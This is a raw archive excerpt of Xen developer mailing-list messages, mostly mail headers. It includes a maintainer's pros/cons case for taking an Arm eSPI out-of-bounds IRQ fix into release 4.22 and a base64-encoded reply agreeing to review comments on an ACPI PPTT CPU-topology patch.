	ZHauIDty1FJKcuCkbWgDI7WKhpTgO6KUdj2M8ZFcNHjIufcn6mmTksrH+ZJ+mVYnnswCIvwRiSmbV5l9MX2k9ZdJEzg310vhB3BkqD1ojNpGt8LFlZR06uup0r6kaWiQCacXvbZPcv3tYQe8r08d2IAARG2TzVovJ/0ECt4piAX5tmSTO8HqV2WFGUZ5+PWcw+Je6YdNpmJlB6z8/pEfZu4baAIYDj+MYQf05fBu1HCJ1HjfD1sijcwAvIVnm/3J8edSnFQBNx65mHImHwBBr8dKIP4btMFANLpCIO/3D3dCGAicHrgdKcuZV2nxFoinwGClSAjC2YntADIg52OnJxNXvdR48OMobAqFqGRlMPNUG5YoosPu23zYOmpxf2cDwAgB1PbdKx7G3/OKB8BP5oddvfHb3c3x9qfrXj8PFBoCfxnH2SbVQP2H1Dz9cf3C2f45/ZyAw5YyzL6N/EmGg+bkLxEH4QYu1o6ATw1LQycMFJmHDjBeQ7dW9NUL5pwn0CybUw8qyuxv3uS3H537rQUGCEV3ONux174t3eAZNhRruCU9PxIljcVtln/UVSh4MeiJCByma70OZQ48UzpFUzzqkuEdCxdXGtxMaBVxjFMk7iMmrd86Xi8zr049KFX67BKb+JP2GkTnv1c80VR3Vy0TqRmUYeyRTpdCSbsLhCk8fG8KjYzWPgrxGp6sscKrosqLadaL+1W2PkziDPNf7g==
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(23010399003)(1800799024)(18002099003)(22082099003)(6133799003)(11063799006)(4143699003)(56012099006)(27256017);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?cjB2WGhPZW9UQWNVNTdMSXh1M2NOMnBMYWZCR0hrT040aVIzNjVXWVJ0M1VH?=
 =?utf-8?B?OWVTZW9na0RGUngxdEUzSVRRRTR4MGZjVmtScUVPSE5LZUxEL3VjclVqVGxh?=
 =?utf-8?B?b0R4Y3BUN3cwS3VkZG91YitRL1g1NENabElwMFpyRERXTHJ2NUtyS0RlOHRz?=
 =?utf-8?B?S2JKcFJqL3BxalErTm5BTHpCMWdpdXhyazM4YTFQaDd1bk9RaUYwS2ZheGlN?=
 =?utf-8?B?bHU3KzR4TUpVeHJiVTlvKzNNdE5HQmUyTHBXZHo1dFJsYWdMN0VvZkJ4QTFO?=
 =?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PblRZYUpEblNhR1pLNWt6a2U2L0xv?=
 =?utf-8?B?UjdsaUFFVFJXVHY5OTNQbmpCWmlvM1MwRnlxUXFvMGJkVjByUnBaVEpXckhC?=
 =?utf-8?B?Z1hPRHFkQUdsNVZTT2RMSFJyUnhUZFBUTlFrMXN4TzYvN3NjbG92L0k0Mzdz?=
 =?utf-8?B?M1k5NGg0ekdhbUlESkRpMVdVWUJNZ1pKcHI0bEFLMkwwSFhkL2FDL0JheXlj?=
 =?utf-8?B?S2JBS1NqV1REZHJzTWd0NWpYNkZhSUZOcldxb0pER05lZExBMTNrQXdlaFdv?=
 =?utf-8?B?dkJCMjdkYTVYblpiT0ZwTS9nUndTS1RjL1ZLK01Dc2xvbE1kU21zUT09?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: d6aaef40-1d86-4b8a-f772-08dede79225d
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 11:48:18.3744
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: tvoKejKY+h3SHIgSeqO00M8tqxdblg3reE5GK9Iuze0MWj3r+2+TxmOjpTiz7pLvcv9vFDz/1YOmQzcHNkAEcg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU2PR03MB7927
X-purgate-ID: tlsNG-16d1c6/1783684101-510BE617-116B9287/0/0
X-purgate-type: clean
X-purgate-size: 1525

On Fri, Jul 10, 2026 at 12:44:44PM +0200, Orzel, Michal wrote:
> On a tangent note:
> I can see that you pushed quite a few "for-4.22" patches. We are approaching the
> release, so afaict at this point we should only be taking crucial bug fixes.
> Moreover, when sending "for-X" patches, please include a description with your
> analyzed pros/cons of taking a patch in.

Ack. I understand. For this patch specifically, I consider it a crucial
fix for 4.22 for the following reasons:

Pros:
- It prevents an out-of-bounds irq_desc[] access which may corrupt Xen
  memory or crash the hypervisor.
- The issue was introduced by eSPI support already present in 4.22.
- The change is small, and valid IRQ handling remains unchanged.
- I tested CONFIG_GICV3_ESPI=y and CONFIG_GICV3_ESPI=n builds and
  reproduced the issue on FVP using a fake DT interrupt with reserved
  INTID 3000.

Cons:
- The trigger requires either a malformed DT interrupt specifier, such
  as reserved INTID 3000, or an eSPI unsupported by the Xen build.
- The demonstrated failure used deliberate fault injection rather than
  a reported production failure.
- The patch adds validation to common Arm IRQ setup paths, although
  valid IRQs continue through the same path as before.

Assessment:
The hypervisor memory-safety impact and the presence of the affected
eSPI code in 4.22 outweigh the limited regression risk.

I will include this kind of pros/cons analysis with future for-X
submissions.

Best regards,
Mykola


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 12:00:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 12:00:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359229.1612903 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9ts-0003Za-RB; Fri, 10 Jul 2026 12:00:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359229.1612903; Fri, 10 Jul 2026 12:00:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi9ts-0003ZT-OY; Fri, 10 Jul 2026 12:00:12 +0000
Received: by outflank-mailman (input) for mailman id 1359229;
 Fri, 10 Jul 2026 12:00:12 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wi9tq-0003ZJ-Sq
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:00:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi9tp-006AuO-W7
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 14:00:10 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a50dec2-bab6-0a2a0a5309dd-0a2a4502962a-16
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 14:00:09 +0200
Received: from [40.107.74.75]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <taka@valinux.co.jp>)
 id 6a50dec0-64c6-0a2a45020019-286b4a4bafee-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 14:00:03 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY7P286MB6311.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:32e::8) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Fri, 10 Jul
 2026 11:59:57 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.016; Fri, 10 Jul 2026
 11:59:57 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=qAtUHo4VHxNRIgSWIfKpQwpj7MfiM01GA1iUdhNWu55yIVgj51JmUmh8ARWG1hQ4ifiO+i+YkrNrcbtkivotXkCn2RzZOpLBpjExBz/pdOpt2kuG1wQwXz3esazxi2qSqN7FDy1VnOJI3LTHf/a47/NwSmzoL/ZKt3ev5KLhxmkkWzt6p51J3gfn9Wv6a1pSo6PiCpXKNxgxMUM0qmzwxcyMBwufTanTLEsvyw5dbSSCySP1d7EZt1CdcbvFwNTMzC0IhBVhva9TcL/kAUnOKtzFWp+g1s9VeDCuuZjpEoiXcKpTsz7vAnV4d7MdVcmitd8sNL4mFtnXlT3yYCtz5g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=GuLPU7ehRXDpzAPhRUr7cx/JrVhwHybgtrdnQyDcO1k=;
 b=FAXHOFDmfNPymwi7cMRWs7ROlSChq5mUi+K71uEVG0sH2zagKOtjloPI3KVBDnQPVcjmH1D+LEGiJbvIWRDHTSUN7xHyVzHVAp3NqpF7c3Bg4/6q7zELSIXNTzChb3k0G3bzbgF7defBw2hxbKH6DV9Y23NuDDBKuCHeW4KUm/gmdRwbY5KZHe6jvFlI1Ni/PFtHJkndQIpywNWu1m5CoNPvv7wKTxRmBhR1XCoIzQT2wnyOHF9VHgGupTNPFOM4jpS453+W3FovQryvyVKUAJE5SfBoht6+sqXCBC8PnU5AciJrgerQGnUZ3BlGO5malSA2yFhUiXbjFT9ycGwvLg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=GuLPU7ehRXDpzAPhRUr7cx/JrVhwHybgtrdnQyDcO1k=;
 b=ilQ9KGVmxwghHfImYLfBubUEeZ2eYPNCRW7zh0D3aBE6P2pzBLKINhR5qTE7zMoXY67Avn7rMcsu2L5WeBH40NDB3GLMnhijg7rY+BbZn/o9Z/1B8s0QIR7D3wUV/TCoImd34ccdIDkaDUn/fCVCUrSCR8xY1SOmE9WjGySuQJs=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, =?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?=
	<roger.pau@citrix.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v5 4/4] arm/acpi: Parse PPTT to initialize CPU topology
Thread-Topic: [PATCH v5 4/4] arm/acpi: Parse PPTT to initialize CPU topology
Thread-Index: AQHdD+8uTWTQllg4F0W2TPPv0GdvOrZmYx6AgAAWibA=
Date: Fri, 10 Jul 2026 11:59:57 +0000
Message-ID:
 <OS9P286MB7222C86952E041B984DC5F6A82FD2@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <20260709220552.646462-5-taka@valinux.co.jp>
 <227bbc38-2d32-47c4-94cd-e80c2574f0b6@suse.com>
In-Reply-To: <227bbc38-2d32-47c4-94cd-e80c2574f0b6@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TY7P286MB6311:EE_
x-ms-office365-filtering-correlation-id: 69331b74-6dbb-45a3-8d6c-08dede7ac344
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|23010399003|1800799024|366016|38070700021|3023799007|4143699003|56012099006|18002099003|22082099003|6133799003;
x-microsoft-antispam-message-info:
 +Na9CiqYej90azsPdZYq+5QVmfXbwjy6cI6X1t/w2OgZ/IIkvBPewCALYNPdmPYLvkAeJ9FXyESG7dlfX5zJgyfaDZW/El/FDUYqBJJ9H4SYMh4OYu65SwjiaLH62BTBeDoALubXs8QO9IuHWrBkx3DpD9RcVzSulyzHAfsH+H6U3MeT21Szr3RSf8nrhO0FHY0LZmJVJdMXmhOuwIi20xgo89rtmdXGAD1lSyhfLj3kpve/jNlw4sHxKSqZf+y3RGNkKgBMi/+G9/FUo7j7Idljgv44573T5iS6qcB0kyIi3w4vB7B2PrQcKNhzUKuTIYV0OqPXKv5RLiT072zt0U0h8nEZQJGMqtqDAK6IRfs/GXp0NxMkcoNKoXRjH0QcSqXC96Wxbk2XOUut0xKXaZHGgnJl6enwmW42CTGCLdNfwt5gFO11BVDkIWc1RtljyL947TJObzA9cqJQb+xmnAsS+s91efVwUmf4Qk7EaxJFhU813ZRGQFwkH9urV6f1VrOtT+lzyfpcsa5kzEEwd/BTzrrevS5oUllSMZ68Kv8dwnDRp78ETs8UaKSuEZMv70juR3Pqv1iO3oPOZgw7jwE7GOXSOiOI8MKmK48axHccHxHS9v4qQLM5E8UXqn+dqtgcDt+Qv/2e7h+yWm/BOhlKvoVvFsN8rVLBIlpQMMLOk6/j/0VuSjl5O3uSirTe3o3j5eTSifeA0sDS6HdLTU9OchBFOK0mIyTxlFH3giI=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(23010399003)(1800799024)(366016)(38070700021)(3023799007)(4143699003)(56012099006)(18002099003)(22082099003)(6133799003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?ZW1iSEw5b3ExVHhBSHRBbVRLVW8wQUZuWUFrdWErWk0ybHRnb0hPSWxTcGFm?=
 =?utf-8?B?UDBsMnBMRlU0N0V0RkErT3BZMnYzYzRSb1JDYk1NMitMZGhDdXdidUxsTnZa?=
 =?utf-8?B?OCtCT294WGZnV0dYT1M3WEIyRzNsemNxN2xsT3NYVmRzKzIrUExwTzlpd3pj?=
 =?utf-8?B?N0NyaXFxUElBWjlFSGZ2S2xIdkVCay9jckE3bnRwYm5JQTAycHJmYng1UmNj?=
 =?utf-8?B?TEZtaHoyc2duQlFxejN3VlAxOStLcHJZVnJjOTN1aE1zS2dtS1VqNWNaTjdV?=
 =?utf-8?B?ZWtEU3FBT2JxOFZVeUJ5dnkwdUwrdHl6MXhxWVJ5bEZwb1BJVXVYVFl0aFJk?=
 =?utf-8?B?NW1oNVNkTzY2YytlTmpZTXNkQmxjeTA0QkduWlA5eDhrZG14NXM1ME40YlFa?=
 =?ut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mQ0tCSnQ5WFlYeDVMUHJ1TGk4aklH?=
 =?utf-8?B?N1piZFVkeUtDczBHUkRmVmZ2dE1lZkRKZ1U5a3VobDNWQkJmbkZqMW9OcTFy?=
 =?utf-8?B?UExwTkZXV1RMcGlRNEZwWGJFYTlXcWFib2VuaG5hbGFjakkwanhWaXlwaTgy?=
 =?utf-8?Q?WZ0re+4YNN2gII7Y0H?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 69331b74-6dbb-45a3-8d6c-08dede7ac344
X-MS-Exchange-CrossTenant-originalarrivaltime: 10 Jul 2026 11:59:57.6151
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: av0DkQtJdi7kADCy/S01kRKbN9cPNip/+gj+3eS1wWA947iSgth58N3un7rIrwHfltmHTod6xhWCjaJpcXs61Q==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY7P286MB6311
X-purgate-ID: tlsNG-720697/1783684803-7E313A87-0218AF1B/0/0
X-purgate-type: clean
X-purgate-size: 26784

SGVsbG8sDQoNCj4gPiAtLS0gYS94ZW4vZHJpdmVycy9hY3BpL3RvcG9sb2d5LmMNCj4gPiArKysg
Yi94ZW4vZHJpdmVycy9hY3BpL3RvcG9sb2d5LmMNCj4gPiBAQCAtNSwxOCArNSw5MCBAQA0KPiA+
ICAjaW5jbHVkZSA8eGVuL2NwdW1hc2suaD4NCj4gPiAgI2luY2x1ZGUgPHhlbi9pbml0Lmg+DQo+
ID4NCj4gPiAtLyoNCj4gPiAtIC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ICAgICAgICAgICBlbHNl
IGlmICggbGV2ZWwgPT0gMCApDQo+ID4gKyAgICAgICAgICAgICAgICAvKg0KPiA+ICsgICAgICAg
ICAgICAgICAgICogQUNQSV9QUFRUX1BST0NFU1NPUl9JU19USFJFQUQgaXMgc3VwcG9ydGVkIGlu
IFBQVFQNCj4gPiArICAgICAgICAgICAgICAgICAqIHJldmlzaW9uIDIgYW5kIGxhdGVyLg0KPiA+
ICsgICAgICAgICAgICAgICAgICovDQo+ID4gKyAgICAgICAgICAgICAgICBpZiAoIHByb2MtPmZs
YWdzICYgQUNQSV9QUFRUX0FDUElfUFJPQ0VTU09SX0lTX1RIUkVBRCApDQo+ID4gKyAgICAgICAg
ICAgICAgICAgICAgdGhyZWFkX29mZnNldCA9IChjaGFyICopcHJvYyAtIChjaGFyICopcHB0dDsN
Cj4gDQo+IFRoaXMgdmFyaWFibGUgaXMgb25seSBldmVyIHNldCwgbmV2ZXIgcmVhZC4NCj4gDQo+
IEFsc28gSSB0aGluayBjYXN0cyB0byBjb25zdCB2b2lkICogYXJlIHRvIGJlIHByZWZlcnJlZCBm
b3IgY29kZSBsaWtlIHRoaXMNCj4gKGlmIHN1Y2ggb2Zmc2V0IGNhbGN1bGF0aW9ucyBhcmUgbmVl
ZGVkIGluIHRoZSBmaXJzdCBwbGFjZSkuIE9yIGNhc3RzIHRvDQo+IHVuc2lnbmVkIGxvbmcuDQoN
Ck9rYXkuDQoNCj4gPiArICAgICAgICAgICAgICAgIGVsc2UNCj4gPiArICAgICAgICAgICAgICAg
IHsNCj4gPiArICAgICAgICAgICAgICAgICAgICAvKiBBc3N1bWUgbm8gdGhyZWFkaW5nIHN1cHBv
cnQgd2hlbiBQUFRUIHJldmlzaW9uIGlzIDEuICovDQo+ID4gKyAgICAgICAgICAgICAgICAgICAg
dGhyZWFkaW5nID0gZmFsc2U7DQo+ID4gKyAgICAgICAgICAgICAgICAgICAgY29yZV9vZmZzZXQg
PSAoY2hhciAqKXByb2MgLSAoY2hhciAqKXBwdHQ7DQo+ID4gKyAgICAgICAgICAgICAgICB9DQo+
ID4gKyAgICAgICAgICAgIGVsc2UgaWYgKCBsZXZlbCA9PSAxICkNCj4gPiArICAgICAgICAgICAg
ICAgIGlmICggdGhyZWFkaW5nICkNCj4gPiArICAgICAgICAgICAgICAgICAgICBjb3JlX29mZnNl
dCA9IChjaGFyICopcHJvYyAtIChjaGFyICopcHB0dDsNCj4gPiArICAgICAgICAgICAgICAgIGVs
c2UNCj4gPiArICAgICAgICAgICAgICAgICAgICBjbHVzdGVyX29mZnNldCA9IChjaGFyICopcHJv
YyAtIChjaGFyICopcHB0dDsNCj4gPiArICAgICAgICAgICAgZWxzZSBpZiAoIGxldmVsID09IDIg
KQ0KPiA+ICsgICAgICAgICAgICAgICAgaWYgKCB0aHJlYWRpbmcgKQ0KPiA+ICsgICAgICAgICAg
ICAgICAgICAgIGNsdXN0ZXJfb2Zmc2V0ID0gKGNoYXIgKilwcm9jIC0gKGNoYXIgKilwcHR0Ow0K
PiANCj4gUExlYXNlIGFkZCBicmFjZXMgdG8gc2VwYXJhdGUgaW5uZXIgaWYvZWxzZSBmcm9tIG91
dGVyIG9uZXMuDQoNCk9rYXkuDQogDQo+ID4gKyAgICAgICAgICAgIGlmICggcHJvYy0+cGFyZW50
ICkNCj4gPiArICAgICAgICAgICAgew0KPiA+ICsgICAgICAgICAgICAgICAgcHJvYyA9IChjb25z
dCBzdHJ1Y3QgYWNwaV9wcHR0X3Byb2Nlc3NvciAqKQ0KPiA+ICsgICAgICAgICAgICAgICAgICAg
ICAgICgoY2hhciAqKXBwdHQgKyBwcm9jLT5wYXJlbnQpOw0KPiA+ICsgICAgICAgICAgICAgICAg
bGV2ZWwrKzsNCj4gPiArICAgICAgICAgICAgfQ0KPiA+ICsgICAgICAgICAgICBlbHNlDQo+ID4g
KyAgICAgICAgICAgICAgICBicmVhazsNCj4gPiArICAgICAgICB9DQo+ID4gKw0KPiA+ICsgICAg
ICAgIHRvcG8tPnBoeXNfc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9uLg0KDQpPa2F5Lg0KDQpUaGFuayB5b3UsDQpI
aXJva2F6dSBUYWthaGFzaGkuDQo=


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 12:17:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 12:17:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359250.1612914 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiAAk-0005aR-Ea; Fri, 10 Jul 2026 12:17:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359250.1612914; Fri, 10 Jul 2026 12:17:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiAAk-0005aK-9D; Fri, 10 Jul 2026 12:17:38 +0000
Received: by outflank-mailman (input) for mailman id 1359250;
 Fri, 10 Jul 2026 12:17:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wiAAi-0005Xi-HG
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:17:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiAAh-00EoQy-U2
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 14:17:35 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a50e2d9-bab6-0a2a0a5309dd-0a2a450cd974-12
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 14:17:35 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a50e2df-e897-0a2a450c0019-d155dd31c0b8-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 14:17:35 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-4758b2a9e2aso547310f8f.2
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 05:17:35 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d91bsm65135404f8f.4.2026.07.10.05.17.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 05:17:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783685855; x=1784290655; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=YvL3X7ntCzt2Ukjh6/5LQFSosVpUWEd5AecGCKMMJJ4=;
        b=VRi+Gb2DwAMMZpGbwgktuSHMMiDeUYgZo7T8N9H6M4KBjDxyale9bnZKPwv2qlZO23
         61nSdJFgbZWqq7vbeWQ4fwEzaUR+lwQlJJD6yEahEJnm5UFZCVa7GUiA4zSEKNhLD7Cb
         YMomvHWZqG0OGMfeLXcVaw/j71wZQfpeip2J1AKM7+9S3mKFsJCvjjQf0rHSnE/W4Vcv
         2rzLpEBaSQmm4cmVgh/62hUnSyFH3Z+EpwDVffWD9UpgnyWKrni9aaTL9tFx2/4J4vAO
         0nixiUQHFffzsJlKOgfM50SB4yw9W/r4lFOI4+Xw7zSLzojo5Q2jOBMNDAQ+n0yogqdj
         ZDSw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783685855; x=1784290655;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=YvL3X7ntCzt2Ukjh6/5LQFSosVpUWEd5AecGCKMMJJ4=;
        b=Z4Hy9fKrMN2bnVeeSLiAWeYP7N3s0iQKk3m4SqfwpWuE6WObEFDizyP4IbwDRfY5Cg
         LvJ/Oeuk1Zl5GQJMT+RQNHPYSg3t6AZQCQDCY6Na+GygkN5rsCDO/7GDv3MwIVw/hnQ0
         K3n2251/5S1H7iHQNrdo5tmOxeuMVHLilItlmBaO+KaGGNx/uB52tjLJNfMc6ao0Mhyq
         /gt/gW3+ALGZf3pkmJqoj3NTf8xhFJs6XDl85MkhwwAFlshB4EwTQC9ElcPoIxIUsV5b
         tDr5CVYshBwTDntcAC2bVc1DoOBVHTwcLUeYBm4ouOY0N7sKX/uL9ZzYAYQdcQGXVTWi
         DD8g==
X-Forwarded-Encrypted: i=1; AHgh+RqDQfIfgdRf91VbNR56xneijjvihcVzsw5Z9n9DanMmP9ZL+fdnk2kriwhoo/ymE5kHg7SG8LcEka0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxMv1ALvfyD5sRwXkgdqb2dl5OpVPbhXho9nGdLYirWrXTBPl2U
	njmvNDa8gECsAVfqs+wNNPnrgsw6XdkRLCEXvot7cCvULwGIn2mGEtkycFVYbbbCpQ==
X-Gm-Gg: AfdE7ckNASlBRCwMgL9oZ0/Cjb3yua6/NZjJiXSaaVRMyQxxZJX5zfTp5f7kfa+wAOj
	Sg6C90W5Xgrt/FT6gGDmTExw8t8VcNNiIQ8OyrpGksHhd2cPqgsB/JY58BkvUn+I+nBz5vdIuMd
